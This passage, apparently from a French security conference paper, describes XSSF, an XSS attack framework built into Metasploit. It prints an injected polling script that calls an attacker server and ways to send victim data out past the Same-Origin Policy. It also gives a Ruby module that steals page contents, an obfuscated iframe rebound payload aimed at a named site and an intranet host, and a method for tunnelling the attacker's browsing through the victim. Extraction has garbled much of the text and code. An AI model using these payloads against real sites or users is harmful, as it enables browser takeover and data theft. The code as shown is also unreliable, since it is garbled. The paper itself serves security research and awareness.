Page 12: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 313

Sur le schema on remarque plusieurs details Premierement le lancement drsquounexploit Metasploit sur un navigateur (ou plugin du navigateur) ainsi que celui drsquouneattaque XSSF entraine le lancement drsquoun serveur web en interne (et le lancementdrsquoun job au sens Metasploit) Enfin les victimes nrsquoont pas connaissance desdifferents serveurs drsquoattaques elles connaissent juste lrsquoadresse du serveur principalqursquoelles doivent contacter (principe de serveur maıtre et esclaves) Lrsquoattaquant luiest capable drsquoobserver les victimes et de lancer des attaques ciblees ou collectives parlrsquointermediaire du plugin XSSF

Maintenant que nous avons vu la presentation generale de lrsquoarchitecture de XSSFnous allons pouvoir detailler la maniere dont sont gerees les victimes et par quelsmoyens il est possible de ne pas avoir a se soucier de la Same-Origin Policy

33 Injection XSS et victimes

Desormais nous savons que le lancement du plugin XSSF entraine le lancementdrsquoun serveur principal drsquoattaque sur lrsquoIP locale et sur le port choisi par lrsquoattaquant(8888 par defaut)

Figure 4 Lancement de XSSF sur le port 80

Afin de regrouper les differentes victimes au sein drsquoun meme reseau il estnecessaire de realiser une injection generique sur lrsquoapplication vulnerable Cetteinjection doit faire appel a la ressource loop sur le serveur (quel qursquoen soit lemoyen) et renvoie le code suivant (partie GET simplifiee presentee ici)

function XSSF_EXECUTE_LOOP ()

script = documentcreateElement(rsquoscript rsquo) scriptid = XSSF_CODE

scriptsrc = http 101003624580 asklocation= + windowlocation + amp

id=5amp time= + escape(new Date()getTime ())

314 XSSF demontrer le danger des XSS

documentbodyappendChild(script)

victim_loop = setInterval(executeCode 5 1000)

Lors drsquoune nouvelle demande de la ressource loop une nouvelle victime estcreee cote serveur et lrsquoidentifiant est insere dans son cookie Crsquoest comme cela qursquoelleest ensuite reconnue par le serveur drsquoattaque XSSF lorsqursquoelle effectue une requete

Un identifiant de secours est insere dans les requetes ask et an-

swer afin de pouvoir quand meme gerer (dans la plupart des cas) les victimesnrsquoacceptant pas les cookies

Dans le code on peut srsquoapercevoir que la victime execute une fonction toutes les5 secondes Celle-ci a pour but drsquoaller chercher du contenu sur le serveur drsquoattaque etde lrsquoinserer dans une balise de script Le delai peut etre change par lrsquoattaquant lorsde lrsquoinjection dans la XSS (http101003624580loopinterval=x avec x lenombre de secondes entre chaque demande de commandes)

Comme nous lrsquoavons vu precedemment la SOP ne bloquant pas le contenu chargea partir drsquoune balise de script ou drsquoimage nous pouvons creer un canal avec la victimeLe serveur ne pourra jamais rien lui demander (car la victime nrsquoest pas un serveur ) mais en revanche rien nrsquoempeche la victime de demander des donnees au serveuret crsquoest ce qui se passe ici On remarquera lrsquourl rsquoaskrsquo qui sert donc a demander si denouvelles commandes sont disponibles et qui prend trois parametres (facultatifs) lrsquoun servant a localiser la victime un autre permettant de recharger le script et dene pas le prendre dans le cache (comme le fait IE entre autres) et le dernier etantlrsquoidentifiant de secours

Le lien etant en place ce seul morceau de code cote client sert a faire fonctionnerle framework Bien sur la ressource chargee lors de la requete ask est forcementun script mais ce script peut par exemple nous permettre de charger une autreressource nrsquoetant pas de type script (IFRAME IMG etc) La gestion de la facondont sont chargees les ressources est faite cote serveur et lrsquoattaquant nrsquoa pas a laconnaitre pour coder ses modules Nous verrons dans la partie suivante que tous lestypes de ressources peuvent etre envoyes par le serveur drsquoattaque

Bien que fonctionnel le framework serait peu utile srsquoil nrsquoetait pas possible derecevoir des reponses de la part des victimes (reponses a des attaques) Toujours acause de la SOP il est impossible drsquoutiliser un objet de type XMLHttpRequest afinde realiser un simple POST Ajax par exemple

L Courgnaud 315

Cependant il existe differentes techniques pour contourner ce probleme

A Utilisation de balises acceptant un champs src ces balises etant autorises parla SOP nous pouvons tres bien imaginer de charger une image avec ltimg20src=

http1010036245bypassjpgreponse=xxxgt Il est ainsi possible derecuperer une reponse cote serveur Utilisee dans BeEF et tres connue cettetechnique possede une tres grande limite la taille de la reponse ne pourra pasexceder la taille maximum autorisee pour les URL La RFC ne definit pas detaille limite pour la longueur drsquoune URL cependant chaque navigateur peut enimplementer une (2083 caracteres pour IE par exemple) De plus les librairiesRuby embarquees supportent mal la gestion de donnees importantes en GET (ge1Mo)

B Utilisation drsquoun formulaire ( ltFORMgt ) a lrsquointerieur drsquoune IFRAME invisibleafin de realiser un POST vers XSSF Cette solution permet drsquoenvoyer un grandnombre de donnees Seul bemol au choix de cette technique lrsquoutilisation sur undomaine en HTTPS En effet la plupart des navigateurs avertiront lrsquoutilisateur dupassage de donnees en clair vers un serveur tiers Dans le cas drsquoune exploitationsur un domaine HTTPS il est possible par cette technique que la victime se rendecompte de la recuperation de donnees vers un serveur malicieux

C Mise a profit des nouveaux elements de partage de ressources entre domaines offertspar le HTML5 Grace a eux il sera possible de realiser un POST simplementen AJAX en utilisant lrsquoobjet XMLHttpRequest (ou XDomainRequest sur IE)Lrsquoavantage est que les donnees transferees peuvent avoir une taille importanteet que lrsquoutilisateur ne sera pas averti de lrsquoechange de donnees (en HTTP commeen HTTPS) Lrsquoinconvenient majeur a cette solution est qursquoelle est seulementcompatible avec les dernieres versions des navigateurs actuels (celles supportantla fonctionnalite de Cross-Origin Resource Sharing (C-ORS) )

HTTP HTTPS

SO

LU

TIO

NB

Co

mpa

tibl

eto

us

na

viga

teu

rs

C-ORS SUPPORTE C-ORS NON SUPPORTE

SOLUTION CIE 8+ FF 35+ Safari 4+

Chrome Android Browser 21+iOS Safari 32+

SOLUTION BoplusUtilisateur probablement averti oplus

IE 7- FF 3- Safari 32-Opera

Table 2 Solution retenue pour le retour des donnees depuis la victime vers XSSF

316 XSSF demontrer le danger des XSS

La solution actuellement mise en place permet un fonctionnement des echangesdans la majorite des cas Bien entendu cette solution ne concerne que les donneesenvoyees depuis les victimes vers le serveur drsquoattaque Ce choix ne remet pas en causela possibilite drsquoutilisation des attaques ne necessitant pas de reponse (quelque soit lenavigateur) En effet comme nous lrsquoavons vu precedemment lrsquoenvoi des attaques sefait avec la solution A compatible avec tous les navigateurs

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT

Lancement de Metasploit

Lancement de XSSF

Deacutemarrage du serveur maicirctre XSSF (IP XXXXY)

Injection du script malicieux (ltscript src=httpXXXXYloopinterval=3gt

Connexion agrave lapplication

Appel du fichier loop

Enregistrement dune nouvelle victime

Envoi du fichier loop (JavaScript)

Mise en attente 3 secondes

Demande de code agrave exeacutecuter

Mise en attente 3 secondes

Mise en attente dun eacutevegravenement (code) pour la victime

Recherche de code pour la victime

Demande de code agrave exeacutecuter

Recherche de code pour la victime

404 No code

200 Envoi du code agrave exeacutecuter

Exeacutecution du code partie client

Envoi des reacutesultats (facultatif)

Sauvegarde des reacutesultats

Demande des reacutesultats dattaques (logs)

Geacuteneacuteration des logs

Affichage des logs et statistiques en temps reacuteel

Mise en attente 3 secondes

200 OK

Figure 5 Fonctionnement de XSSF

L Courgnaud 317

En plus de la boucle permettant de recuperer des attaques le code envoye lors dela demande de la ressource rsquolooprsquo comprend donc une bibliotheque de fonctions quelrsquoattaquant pourra utiliser dans ses modules drsquoattaques notamment une fonction derecuperation de donnees Bien entendu grace a la gestion des attaques par le noyauXSSF un attaquant pourra utiliser les fonctions fournies par le framework drsquoou il lesouhaite meme a lrsquointerieur drsquoIFRAMES qursquoil aura cree (le framework se charge derajouter a la volee la bibliotheque de fonctions lors de lrsquoarrivee des donnees depuis unserveur esclave)

Ainsi nous avons donc bien reussi a realiser les GET et POST necessaires et cemalgre la SOP Le canal de communication avec la victime est donc bi-directionnel la victime peut demander des commandes et repondre au serveur dans la majoritedes cas La recuperation de donnees reste cependant limitee (pour le moment) lorsquela victime utilise un navigateur ancien sur un domaine en HTTPS

34 Attaques XSSF

Maintenant que nous avons detaille le fonctionnement general de XSSF nousallons pouvoir expliquer les possibilites offertes par chaque module drsquoattaque Ceux-ciservent a realiser une attaque directement liee a une faille XSS (souvent en JavaScript)Ils doivent pouvoir etre implementes par nrsquoimporte qui facilement et sans avoir aconnaitre le fonctionnement du noyau de XSSF

Un module XSSF est compose de deux grandes parties

Lrsquoinitialisation permet de definir les informations et parametres du module a insererdans Metasploit lors de son utilisation

Le serveur web defini les actions a realiser par le serveur esclave lorsqursquoil recoitune requete (depuis le serveur maıtre)

class Metasploit3 lt Msf Auxiliary

include MsfXssf XssfServer

Module initialization

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoWebPage Saver rsquo

rsquoDescription rsquo =gt rsquoSaves current page viewed by the victim rsquo

))

end

318 XSSF demontrer le danger des XSS

Part sent to the victim insert your code here

def on_request_uri(cli req)

send_response(cli Q XSSF_POST(documentdocumentElementinnerHTML

rsquoselfnamersquo) )

end

end

Sur cet exemple nous retrouvons bien les deux parties Lrsquoinclusion au depart de XssfServer permet de charger le module (au sens Ruby) de gestion des serveursesclaves (ce module implemente un module de serveurs drsquoattaques deja fourni parMSF pour les exploits)

Lrsquoinitialisation du module permet de redefinir des informations propres (nom etc)mais aussi drsquoen rajouter Toutes ces informations et options sont automatiquementstockees dans un objet datastore defini par Metasploit Dans XssfServer desinformations par defaut pour tous les modules lrsquoimplementant sont deja definies

def initialize(info = )

super(update_info(info

rsquoNamersquo =gt rsquoXSSF MODULE rsquo

rsquoDescription rsquo =gt rsquoXSSF MODULE rsquo

rsquoAuthor rsquo =gt rsquoConix Security rsquo

rsquoLicense rsquo =gt MSF_LICENSE

))

register_options(

[

OptStringnew(rsquoVictimIDs rsquo [false rsquoIDs of the victims to send code

Examples 1 3-5 ALL NONErsquo rsquoALLrsquo])

] MsfXssf XssfServer

)

deregister_options(rsquoSSLrsquo rsquoSSLVersion rsquo)

end

On trouve une option rajoutee qui permet lors de lrsquoutilisation drsquoun moduleimplementant XssfServer de specifier la liste des victimes a attaquer (toutes pardefaut)

Ensuite on trouve dans chaque module XSSF la methode on request uri definie par XssfServer comme celle etant appelee a chaque nouvelle requete versun serveur esclave Elle prend en parametres le client (au sens socket) et la requeteeffectuee Comme nous lrsquoavons vu precedemment le client sera en fait le serveur

L Courgnaud 319

maıtre (jouant un role de proxy entre les victimes et les serveurs esclaves)

Cette methode permet de renvoyer une reponse au client par lrsquointermediaire de lafonction send response qui prend deux parametres obligatoires (client et coderenvoye) et un parametre facultatif (entetes HTTP) Le code construit est une chaınequi peut contenir directement du JavaScript ou du code HTML Crsquoest ensuite leserveur maıtre qui fera la difference entre les deux Dans tous les cas la reponseenvoyee a la victime sera un script si le code attendu est du HTML le serveur maıtrese chargera de creer une IFRAME en JavaScript afin drsquoy inserer le code On constateaussi lrsquoutilisation de la fonction POST qui permettra de renvoyer une reponse vers leserveur drsquoattaque Ici aussi crsquoest le serveur maıtre qui va permettre lrsquoacces a cettefonction depuis nrsquoimporte ou en toute transparence pour la victime et la personnecreant le module

Bien entendu chaque module peut faire appel a des ressources supplementairesLorsque la victime demandera a nouveau la ressource au serveur maıtre si la ressourceest un fichier connu (les fichiers XSSF ndash images pdf etc ndash sont stockes dans unrepertoire defini) il la renverra directement sinon il la demandera automatiquementau serveur esclave associe a la victime (si elle est en cours drsquoattaque)

Au fil du temps chaque victime peut recevoir autant drsquoattaques que lrsquoattaquant ledesire mais seulement une seule a la fois En revanche plusieurs attaques differentessur des victimes distinctes peuvent avoir lieu en meme temps (drsquoou lrsquointeret de lesidentifier) Chaque victime dispose drsquoune file drsquoattente en base de donnees pourrecuperer ses attaques une par une

Lrsquoutilisation drsquoun module XSSF se fait exactement de la meme maniere que pourles modules MSF (avec la commande use ) Il en est de meme pour le lancementdrsquoun module (commandes run exploit ou exploit -j pour lancer lemodule en tache de fond)

On constate donc bien ici le lancement de lrsquoattaque save page sur la victime5 Lorsqursquoelle demandera si une attaque lui est destinee le serveur maıtre contacterale serveur esclave lance afin de recuperer le code a envoyer

Cote victime apres la reception du javascript loop initial une page drsquoerreur404 (Not Found) est renvoyee signe que le serveur maıtre nrsquoa aucune attaque pour lemoment Lorsque lrsquoon execute le module decrit precedemment le code est envoye a la

320 XSSF demontrer le danger des XSS

Figure 6 Execution drsquoune attaque XSSF sur les victimes actives

Figure 7 Execution drsquoune attaque cote victime

victime qui peut lrsquoexecuter

Bien entendu comme pour chaque module Metasploit les informations des mo-dules XSSF sont disponibles dans la console On retrouve les parametres propres aumodule (aucun dans le cas present) ceux herites du module XssfServer (Victi-mIDs) et ceux herites de MSF (le reste)

Afin drsquoillustrer le plus simplement possible le fonctionnement drsquoun module drsquoat-taque XSSF lrsquoexemple montre ici est des plus triviaux Beaucoup drsquoautres modulesdrsquoattaques sont presents le but etant drsquoamener la communaute a participer afin decreer des scenarios drsquoattaques interessants pour faire prendre conscience des possibilitesoffertes par les XSS et surtout de leur simplicite drsquoexploitation

35 Exploits MSF depuis XSSF

Afin de rendre ce framework XSS le plus complet possible et de lrsquointegrer totale-ment a MSF il est important drsquoavoir la possibilite de lancer des exploits MSF depuis

L Courgnaud 321

une vulnerabilite XSS Bien evidemment les exploits possibles sont ceux destines auxdifferents navigateurs

Le fonctionnement est relativement simple puisqursquoil suffit de lancer un exploit enprecisant qursquoil doit se lancer en tache de fond

Tous les modules lances en tache de fond sont consideres comme etant des jobs par Metasploit

Figure 8 Modules lances en tache de fond sur Metasploit

Le lancement de lrsquoattaque avec la commande xssf exploit [VictimIDs]

[JobID] entraıne la mise en attente drsquoune nouvelle attaque pour la ou les vic-time(s) choisie(s)

Figure 9 Lancement drsquoun exploit MSF sur une victime choisie avec XSSF

Ici le code sera donc bien renvoye a la victime lorsque celle-ci en fera la demandeA la suite de lrsquoexecution du code une session sera disponible et la prise de controleest effectuee avec une simple XSS ciblee

Une fois de plus crsquoest le serveur maıtre qui va gerer la facon dont sont charges lesmodules cote victime (gestion de jeux drsquoIFRAMES de scripts etc) Tous les modulesMetasploit peuvent donc etre utilises avec XSSF Ainsi une simple injection de scriptgenerique ( loop ) pourra entraıner lrsquoexecution de nrsquoimporte quelle attaque XSSFou exploit MSF sur nrsquoimporte quelle victime

322 XSSF demontrer le danger des XSS

36 Automatisation des attaques

Il est possible grace au framework XSS drsquoautomatiser les attaques a lancer Cecipermet de placer automatiquement une liste drsquoattaques dans la file drsquoattente de toutesles nouvelles victimes Lrsquoattaquant nrsquoa ainsi pas a lancer les attaques a chaque foispour une victime ou un groupe de nouvelles victimes

Les attaques automatiques peuvent etre de nrsquoimporte quel type (XSSF ou exploitMSF) et les modules correspondants doivent etre lances en tache de fond avant deles rajouter en attaque automatique

37 Fiabilisation des attaques

Comme pour les attaques applicatives il est important de fiabiliser une attaqueXSS afin de garder une connexion avec la victime apres son depart de la pagevulnerable Ce maintien de la connexion nrsquoest pas assure par le framework mais parses modules Pour le moment il existe un seul module de fiabilisation (ghostifyrb)mais de nouveaux peuvent venir se rajouter Celui actuellement present permetdrsquoanalyser la page afin de remplacer les hyperliens de type ltagt et de rajouterune fonction lors drsquoun clic Ainsi lorsque lrsquoutilisateur quitte la page en suivant unlien une fenetre (de petite taille) est ouverte et placee en arriere plan permettant degarder lrsquoutilisateur sur la page malicieuse

On peut imaginer drsquoautres modules de ce type avec par exemple un modulepermettant de recharger la page actuelle dans une IFRAME afin de toujours garderlrsquoutilisateur sur le meme domaine

38 Resultats et statistiques drsquoattaques

Figure 10 Page HTML de resultats drsquoattaques

Enfin pour venir completer lrsquoutilisation du framework lrsquoimportation des resultatset statistiques drsquoattaques est rendue possible grace a la commande xssf import attacks

L Courgnaud 323

Figure 11 Statistiques drsquoattaques en temps reel

[VictimID] Le framework se charge de generer dynamiquement une page de logs(au format HTML) comprenant les attaques envoyees et les reponses recues ainsiqursquoune page de statistiques actualisees en temps reel

39 Recapitulatif par rapport a lrsquoexistant

Lors du debut du projet XSSF il y a a peu pres un an certains outils existaientdeja Cependant la possibilite drsquoutiliser Metasploit afin de realiser des exploits cibleset lrsquointegration drsquoun tunnel ont etes les elements declencheurs a la realisation drsquounnouvel outil En effet ces deux elements permettent de montrer des possibilites moinsconnues et plus redoutees dans les entreprises (un vol de cookie dans un reseauinterne depuis lrsquoexterieur etant inutile)

XSSShellXSSTunnel

BeEF XeeK XSSF

Codes sup-portes

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScript

JavaScriptVBScriptHTML

Base dedonnees

MS Access Fichiersimple

MySQL SQLite3MySQLPostgreSQLetc (cellessupporteespar RubyOn Rails)

324 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Serveur IIS 5 ousuperieur

Quelconquesupportantle PHP

Quelconquesupportantle PHP

Embarquefourni parRuby

Taille to-tale ducode (sansles mo-dules)

env 310Ko env 400Ko env 250Ko env 65Ko

Taille ducode ini-tialementenvoye auxvictimes

326Ko 43Ko 169Ko 51Ko

Chargementdynamiquedes at-taques

Non (toutesenvoyeesdirectementau debut etexecutees surdemande)

Oui Oui Oui

Constructiondrsquoun liencontenantune seuleattaqueXSS

Non Non Oui(construc-tion drsquouneURLspecifiquea une seuleattaque oua une listedrsquoattaques)

Oui (dela mememaniere queles exploitsMSF)

Prise encharge desexploitsMSF

Non Oui (redirec-tion de la vic-time vers leserveur drsquoat-taque MSF)

Non Oui (di-rectementdans XSSFen tantque serveurmaıtreesclave)

L Courgnaud 325

XSSShellXSSTunnel

BeEF XeeK XSSF

Langages Portabilite

ASPNET -Windows

PHP - Por-table

PythonPHP -Portable

Ruby - Por-table

Client gra-phique

Oui (webet appli-catif pourXSSTunnel)

Oui (web) Oui (web) Oui (web etJava)

Clientconsole

Non Non Oui (inspireede MSF)

Oui (celle deMSF)

Multi-attaquants

Oui Oui Oui Oui(XMLRPC +Armitage)

Attaquesautoma-tiques

Non Oui Oui Oui

TunnelXSS

Oui (Instal-lation drsquouneapplicationWindows)

Non Non Oui (Bi-naire)

Obfuscationde code Bypass desfiltres XSS

Non Non Non Non

Generationde rapports

Non (logs af-fiches a lavolee )

Non (logs af-fiches a lavolee )

Oui Oui

SeparationClient Serveur

Non Non Oui Non

326 XSSF demontrer le danger des XSS

XSSShellXSSTunnel

BeEF XeeK XSSF

Ajout pos-sible drsquoat-taques(sansconnais-sance dunoyau)

Difficilement(en dur dansle code)

Oui Oui Oui (mo-dules)

Gestion parmodules

Non pasde notionde modulesfonctionsJavaScriptintegrees aucode

Oui (3 fi-chiers parmodules [jsphp et txt]

Oui (un fi-chier js parmodule)

Oui (un fi-chier rb parmodule)

Gestion demasse desvictimes

Oui Difficilement(utilisationde sqlite3donc drsquounfichier avecdes acceslimites)

Oui Oui

Installation Informationspour la BDet le serveurIIS a entrerdans unfichier deconfigura-tion

Mise enplace desfichiers surun serveurweb

Informationssur la BDet le serveura modifierdans le code

InstallerMSF ety copierles fichiersXSSF

Table 3 Comparaison de XSSF par rapport aux outilsexistants

Note cette comparaison a ete realisee avec la version de BeEF avant son portageen ruby (debute en octobre 2010) Certains elements ne sont plus a jour notamment

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

